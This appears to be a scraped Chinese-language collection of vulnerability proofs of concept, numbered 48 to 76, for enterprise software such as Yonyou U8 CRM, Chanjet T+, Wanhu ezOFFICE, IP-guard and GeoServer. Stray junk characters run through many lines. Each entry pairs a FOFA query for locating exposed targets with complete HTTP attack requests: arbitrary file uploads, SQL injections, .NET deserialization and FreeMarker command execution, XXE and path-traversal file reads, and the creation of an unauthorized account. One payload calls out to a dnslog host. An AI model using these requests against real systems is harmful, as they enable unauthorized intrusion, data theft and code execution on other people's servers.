. ]$ g) ]% B7 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
9 b+ q1 y2 d2 q4 m7 YAccept-Language: zh-CN,zh;q=0.9
8 J# z, S% q, B+ U! {If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
0 U" K0 o9 P7 d+ \  Q0 L8 P9 |Connection: close
. m1 M( a- D4 u+ V& B2 Y- K
! p; O6 o/ j0 [( j0 l9 b( ?
' d, k1 c! Y& q7 }2 s3 N- l
+ u$ k9 t- B- y3 U48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
2 }7 @' B7 Y8 O0 r  f* `& l9 QHost: your-ip
# J) f$ i4 \0 O( a+ d8 K$ }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
2 j9 {1 ?  d& {) Y( FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
7 O- [4 R2 l& w- R8 ?; hContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
# I, ~" \" l' `+ P! W; R. A6 |------269520967239406871642430066855
. @$ X; A0 T# b8 k/ y2 V0 G# L6 ?: [Content-Disposition: form-data; name="file"; filename="s.php"
1231
" f7 a: r! s# t  R1 W$ G- d- q% AContent-Type: application/octet-stream
------269520967239406871642430066855
/ t0 U; w8 i- t& F4 nContent-Disposition: form-data; name="upload"
8 c' L0 L$ E# T. c# p- Wupload
+ O& E, G9 y' m( W7 P/ P: p, a- y------269520967239406871642430066855--
+ X8 ]: G9 X! R
& w0 }) O! g& y9 f5 D7 [
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
3 Q2 W' M  w8 \9 V- k) f9 A5 D3 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  _/ g6 [& B7 q; L* T" j. mAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( Y5 l6 W) ?; J% E$ L' iConnection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
" I1 [) n. L4 w& J: e( b1 G
-----------------------------vvv3wdayqv3yppdxvn3w
0 Z3 n0 t  Z& w5 ?Content-Disposition: form-data; name="file"; filename="%s.php "
6 W) E: o  _& Q& ?$ v/ P) zContent-Type: application/octet-stream

wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
  b0 n+ Y- p/ F& k! F. ^9 X2 H& p" m
7 d$ W1 T1 ?! H# e4 Vupload
  O! U3 J+ Y- H, ]  J! x& U8 H-----------------------------vvv3wdayqv3yppdxvn3w--

' {: S" ^$ `  u- _9 }% x& q
0 e" O6 j7 a9 v5 A; h- [http://x.x.x.x/tmpfile/updB3CB.tmp.php
; t) m! ~6 i# W1 k" B; m8 z  B# x
50. QDocs Smart School 6.4.1 filterRecords SQL注入
# n; x/ b9 j) o) X3 UFOFA：body="close closebtnmodal"
1 Q9 K+ }# [6 f4 m2 s) ^POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
- y; I$ N/ v8 F( ?( k& J" GUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
, m- i1 U+ U: j" u& xAccept: */*
Accept-Language: en
' p% @* J* X& {Content-Type: application/x-www-form-urlencoded
8 f& I- j8 C; Y' ?* |5 v& O7 N/ rAccept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
- o. {) l# b! W- p/ l) o( tGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
: ?/ B+ K( a" f4 y* AHost: your-ip
+ Z6 Y9 e% L' Q  f' C, J: a  x1 A8 q% {+ UUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
7 I: H3 l! h' T6 v& BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
! E; t$ O) `) q+ H% P! pAccept-Language: zh-CN,zh;q=0.9
Connection: close
  c- Y1 u: i$ V8 P# q$ P

52. 泛微E-Office json_common.php sql注入
- B+ K( P! _" v! ?: bFOFA：app="泛微-EOffice"
) D8 w2 g- f3 h% |POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
2 ^" L1 F' E2 bContent-Length: 87
$ e1 u3 h0 V! ?$ M  O0 ?' e  [0 l0 wAccept: */*
' Y/ F$ z* x, v) JAccept-Language: en
Content-Type: application/x-www-form-urlencoded
) C& ^$ `: T, J+ K5 y+ AAccept-Encoding: gzip

0 p1 J$ D7 F/ Y- q7 Htfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
; T9 Q) D9 D7 b! X* U! r0 N
3 B; c: ?4 S4 T
0 R% F1 {) R& S- C; ^8 S, d  F+ r53. 迪普 DPTech VPN Service 任意文件上传
% H+ f1 }& b, i& b& rFOFA：app="DPtech-SSLVPN"
4 `6 w5 s5 E; G+ F/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
8 C3 q# Y/ g# o# a$ t
2 C# e' h, i! R( {# {: r0 c. N" Z
/ d2 {* [% F+ c" _9 `54. 畅捷通T+ getstorewarehousebystore 远程代码执行
& O4 L  g& I; xFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


完整数据包
& e# d; }7 \5 T* M/ iPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
) m! b7 B2 q/ v! Z- XUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
! j7 f+ M) v' Q4 `. p( b
{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
6 A: f) {) l% A8 Q$ u( G/ o    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
5 i" N* M  X6 V& I. ^* |4 R4 q  }
}
( f; |7 D' r7 `0 b8 P- r, y' R2 C/ L
  s6 n" }6 N" S4 f. n; B
. l% K  h# Q' U  [3 f; U! a第二步，访问如下url
2 \! I0 A/ v: U& L& N7 g+ w/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
0 j6 A0 l: a" {# N2 @  b& u8 e% I  D7 W

% J! q( O( l9 L, A: }( F( F55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
7 w1 d+ w4 F$ {* r1 H/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
( J0 l) N6 f( y+ I
/ ?! G4 t/ C$ Z1 R+ R56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
1 P  C! n8 I- U3 {% Z" \# I) R9 nContent-Type: application/json

{
  "storeID":{
: ?! J, E. K  V; T6 n0 D    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
6 H9 E1 S9 v' a# n' E2 ^  T+ c4 X        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
$ C1 b6 O5 C9 R: l  Q- }/ g           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
    }
  }
}
" R, g: N. t% V
8 E/ P6 @) {) J' G  m
1 e8 I- B0 y2 c7 y8 Y& H4 Y57. 畅捷通T+ keyEdit.aspx SQL注入
" J" {/ A6 d+ |7 OFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
& E) A. t! f6 X  WHost: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
, w) E% r, A; P( C" S* PAccept-Charset: utf-8
9 [7 O0 c& e5 L2 s3 J* x& lAccept-Encoding: gzip, deflate
7 V& m7 J! w! ZConnection: close
4 i8 \4 f4 N0 b% K* Q

58. 畅捷通T+ KeyInfoList.aspx sql注入
, q8 b2 }" `8 o( d" T. E' d) i6 r6 ~FOFA：app="畅捷通-TPlus"
5 _" b" o3 u  V( K4 ~GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
1 t  e4 V# M) \' }9 Q$ GHost: your-ip
/ V0 @  h1 S; e  \8 PUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
% i- {4 M1 w. n( G

1 T7 `+ e" k, ]9 @! m1 y59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
) `9 Z' E5 f6 E5 v! I- g7 Z9 c8 Z0 ]FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
( \. R3 ^3 k, j! N( y+ J! `# y. jPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
% D5 e: T* P/ q$ i: G, [. dHost: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
& T' T. @3 M8 Y. y* t: X% F% @, DConnection: close
, ^4 r2 f0 |; i! `1 cContent-Length: 1669
. t1 K/ n% N+ }2 L( n6 dAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
8 W, G, s- Y5 m3 x/ FAccept-Encoding: gzip

  `# S: Y7 V; G. G. YPAYLOAD


60. 百卓Smart管理平台 importexport.php SQL注入
0 {6 L3 P  Z6 |( S; U5 c5 d# `+ JFOFA：title="Smart管理平台"
1 V+ N% d- I3 ]$ KGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
) m: |( P( p9 D' M- P5 q; eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
& n3 O! q! E# NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 n4 u. T0 D. L& q' f: XAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
( x2 n+ C, d9 B$ Y& u3 J0 hConnection: close

$ @# j) K  Z0 t3 t: ]
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
' f( Y5 `1 V0 I$ A+ f6 }FOFA: title="欢迎使用浙大恩特客户资源管理系统"
* d* U+ [' S+ B1 U9 OPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
1 Z) P5 h0 |" r; iAccept: */*
0 o8 I) R1 H- ]! l- |: W  n% CAccept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
. `% L; C, _: p! b+ J4 S* w
9 r4 `/ o" \' c0 x/ Z) g4 o8uxssX66eqrqtKObcVa0kid98xa

0 W; w* B+ N' x3 d4 L- ~( [
62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
5 b  h6 a8 N* d' I+ h3 i* eGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
! ^; R) Z6 S0 b5 c  vUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
% \% Z6 K) ~! U# r1 C0 x, ]$ }Connection: close
Accept: */*
6 s6 i! |) l+ g. MAccept-Language: en
Accept-Encoding: gzip


+ g- T& s; k5 d+ G0 e# t0 |6 M访问
$ o$ k8 ?7 w* k& O) [9 ?8 m. `1 [
/ c9 O" r- V8 U) t9 K# `, jGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
1 D. Q% r& u# C  v  W" L# w/ i
7 P& p; T! T8 i7 ]$ i
  q" p* I% J; _9 T# W) |0 S63. IP-guard WebServer任意文件读取
  N# ~$ e, A! E' ?+ X, ]IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
! @1 {+ @5 D; |6 RHost: your-ip
# N- D' [2 r% `$ z$ z# A  P3 FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

9 t/ ?8 u1 P4 V# H7 e- f2 R. h64. 捷诚管理信息系统CWSFinanceCommon SQL注入
6 v! k$ H3 @: r3 _  I1 g3 c5 w- GFOFA：body="/Scripts/EnjoyMsg.js"
7 R( a" I8 r/ X% SPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
: k  X# S, m& K* ^6 }3 W5 r/ K9 mHost: 192.168.86.128:9001
5 q" _* ]* w' o8 b9 D" w+ t! U& dUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
  Z" z! `* f2 uContent-Length: 369
" y, P( e0 p4 p8 L1 {- b2 A+ @Accept: */*
Accept-Language: en
  C7 V% {. O/ x, H# h/ F/ FContent-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

6 P8 U6 p/ r( @6 X3 R' g$ ~<?xml version="1.0" encoding="utf-8"?>
, Y- b0 w- `1 ]0 [) ~! J1 Q7 u<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
& q- Y, m, ]# t# Y      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
</soap:Envelope>


65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
Host:
! W" K7 i0 u' u# _: QUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
4 J. s0 @& V* X- n1 z1 E. k4 J$ gAccept-Encoding: gzip, deflate
Accept: */*
5 ]" P. r) c( ~9 ]! j3 iConnection: close
( g' g% F% f; o# j0 p0 @Accept-Language: en
0 P$ z5 c+ k! G' tContent-Length: 174

' ]6 A7 ]" y5 HoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

( m7 H* L$ a6 S/ l
  q* Z5 b: c. m: _+ t2 G66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
+ ~3 Z+ }% ]$ i8 t0 A
& f! _; b" Z& S6 kGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
4 e4 I% o  @* Y+ ?/ ~: e% A+ @Host: x.x.x.x
4 Y3 j; `. H! |) XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
! G  \- h3 r6 v' b/ YConnection: close
Accept: */*
Accept-Language: en
/ U! n. ~- T) j( K0 xAccept-Encoding: gzip
: N; {9 c" h, ^) j" J

% K) i9 s* |$ K* L第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
+ C+ f' U) t& y% C
67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
* h/ h6 P) A# F2 V" w* SnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
' b+ D- e9 G$ P  s1 w' z/ \POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
% V5 i* P2 W9 j6 O6 ?# dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
9 B' k5 D( Z1 R$ B, HAccept-Encoding: gzip, deflate
) i9 e& ~; {+ a( z: gAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
5 F6 J( o; e2 W( n' U1 J/ WDNT: 1
- d/ e5 s* u& w. BUpgrade-Insecure-Requests: 1
2 [) t' X5 K1 c
' E6 c* G8 G: Z! F) [% f0 B8 O; T--ufuadpxathqvxfqnuyuqaozvseiueerp
# ^. t9 a- B' E8 i; M  vContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
7 C# D  C: {# ^5 n8 m' h+ a5 n
: a5 r* _% |+ {<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
# y& ^# J( H$ f: }& G  F1 }
  }! |* `% l1 K4 _
+ V! S$ D' `7 ~2 w: P1 y- _9 a文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

; _; _) [2 z9 t% n68. 万户ezOFFICE wf_printnum.jsp SQL注入
( [: e% d3 R# G/ J! kFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 o# g: |- r( v. i) WConnection: close
9 c4 a$ n7 ]1 p; {- J

69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
) E, q0 w" j# J6 N: zGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
0 N' s) Y/ H2 Q& ^' D, ]& t0 ]* wUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
/ [# F" B% }% ]( U5 j" @2 r5 f$ lAccept-Encoding: gzip, deflate
Accept: */*
9 M" `' f$ L( f* }+ t9 d* cConnection: keep-alive
) n: l) c: c0 p' k9 W, k

' A5 r& j( O3 t" k70. 万户ezEIP success 命令执行
$ o6 Q, t, Y$ m7 C( C$ ^FOFA：app="万户网络-ezEIP"
  }$ e2 }: ?4 K5 uPOST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
6 Q/ f3 @& `4 `0 Z; l) q5 x. v, dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
$ O3 C* [  `, {2 r, _: oContent-Type: application/x-www-form-urlencoded
- x5 x$ k+ A+ {. J4 y# N, {! ~TYPE: C
Content-Length: 16702

__VIEWSTATE=PAYLOAD
+ k# h3 O7 x8 Q! w1 \( H

71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
& a8 y2 f* `: {  Z9 \3 g4 pGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
5 ^7 K6 V5 n! V+ I8 o3 YHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
% j5 }% p/ e1 EConnection: close
- n, ^+ n0 M6 ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 p4 C( B6 G) x# {/ dAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
$ R9 l6 a+ E, E( D3 `( o5 [) f

) M0 \6 \" M- R1 S  j7 k72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
; K6 U" m, J/ U. [, P: RPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
! a- F+ M& z) `1 LHost: 192.168.40.131:8099
9 U% y' h* A6 e( B5 FUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
9 H  k' Q6 Q1 k& r8 H: f+ q3 }Content-Length: 583
$ M2 R* }# m. `& C" P/ oContent-Type: application/x-www-form-urlencoded
6 M( ]4 x  k8 n4 r+ k1 [) I. R. [Accept-Encoding: gzip
; u! S& S' p, r! q% z4 d
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


73. GeoServer wms远程代码执行
5 I6 y6 j# O4 f: }0 cFOFA：icon_hash=”97540678”
! t1 Z2 U: K7 f5 gPOST /geoserver/wms HTTP/1.1
6 s6 o; Z( r. b1 T1 f& p; sHost:
# b( a6 L7 L% p$ ~. L" yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
4 H' `- j0 k$ {" X1 \Content-Type: application/xml
SL-CE-SUID: 3

PAYLOAD
, X/ D7 w) V3 }+ I8 S! n

74. 致远M3-server 6_1sp1 反序列化RCE
+ [  F7 j) Y+ Z6 {9 iFOFA：title="M3-Server"
PAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
* k+ |* O& E, [% RGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
# U) P1 r, Q$ s, X# hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
& }/ U* g9 U$ ?( l" R! V- ^Connection: close
Accept: */*
! M! X6 G$ {7 H0 R4 q( e) o! V% rAccept-Language: en
9 K# @. c# P3 xAccept-Encoding: gzip


8 ], ]$ H5 e" DGET /cgi-bin/test28256.txt HTTP/1.1
3 B; a. X. Y6 O8 ^Host: x.x.x.x
4 o! p0 U+ [3 F/ F% u

2 W% B& C! J1 `# n; q% C76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
" G& t6 B1 s5 t1 s. H1 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
9 g. w/ j: C6 Y) ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1

{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
) R4 t$ d, Y8 L8 z% i$ ?, w}
9 |9 B# G4 ]8 W, {

GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
  \- }' D4 j! A  i: hHost: x.x.x.x
) d" ~2 X' n8 d0 y. \* p
# Y, x, y/ W* h& x
2 a6 ?3 N6 u: c( g! I9 F
